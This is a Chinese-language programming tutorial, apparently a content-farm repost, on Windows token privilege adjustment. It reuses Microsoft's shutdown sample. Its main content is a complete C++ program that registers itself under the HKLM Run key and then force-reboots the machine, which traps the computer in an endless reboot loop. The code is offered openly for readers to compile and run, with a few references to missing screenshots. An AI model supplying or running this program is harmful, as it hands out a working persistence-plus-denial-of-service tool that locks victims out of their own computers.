在windows系統中,當涉及本進程去操作其他進程,或者要用shutdown這些高危命令的時候就涉及提權,下面是MSDN的列子
提權三兄弟
OpenProcessToken
LookupPrivilegevalue
AdjustTokenPrivileges
我們用下面這個MSDN的代碼來做一個註冊表無限關機的列子
#include <windows.h> #pragma comment(lib, "user32.lib") #pragma comment(lib, "advapi32.lib") BOOL MySystemShutdown() { HANDLE hToken; TOKEN_PRIVILEGES tkp; // Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return( FALSE ); // Get the LUID for the shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); if (GetLastError() != ERROR_SUCCESS) return FALSE; // Shut down the system and force all applications to close. if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_UPGRADE | SHTDN_REASON_FLAG_PLANNED)) return FALSE; //shutdown was successful return TRUE; }
上面是MSDN的代碼,下面給出無限關機的代碼(含詳細注釋)
// shutdownDemo.cpp : 定義控制台應用程式的進入點。 // #include "stdafx.h" #include <windows.h> BOOL MySystemShutdown() { HANDLE hToken; //用於操作的控制代碼 TOKEN_PRIVILEGES tkp; //用於存放特定資訊 // Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return(FALSE); // Get the LUID for the shutdown privilege. //如果要提權的話要在下面這兩個函數提權 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); if (GetLastError() != ERROR_SUCCESS) return FALSE; // Shut down the system and force all applications to close. if (!ExitWindowsEx(EWX_REBOOT| EWX_FORCE, SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_UPGRADE | SHTDN_REASON_FLAG_PLANNED)) return FALSE; //shutdown was successful return TRUE; } int _tmain(int argc, _TCHAR* argv[]) { getchar(); HKEY hKey = { 0 }; /*LONG RegOpenKeyEx( HKEY hKey, // 需要開啟的主鍵的名稱 LPCTSTR lpSubKey, //需要開啟的子鍵的名稱 DWORD ulOptions, // 保留,設為0 REGSAM samDesired, // 安全訪問標記,也就是許可權 PHKEY phkResult // 得到的將要開啟鍵的控制代碼 )*/ RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey); //開啟一個指定的註冊表鍵 char path[MAX_PATH] = { 0 }; GetModuleFileNameA(nullptr, path, MAX_PATH); //擷取當前檔案路徑 RegSetValueEx(hKey, "ShutDown", 0, REG_SZ, (byte*)path, strlen(path)); MySystemShutdown(); return 0; }
如果出現下面問題
請修改字元集如下
下面看看運行結果!
以上就是 C/C++無限關機(提權例子)的內容,更多相關內容請關注topic.alibabacloud.com(www.php.cn)!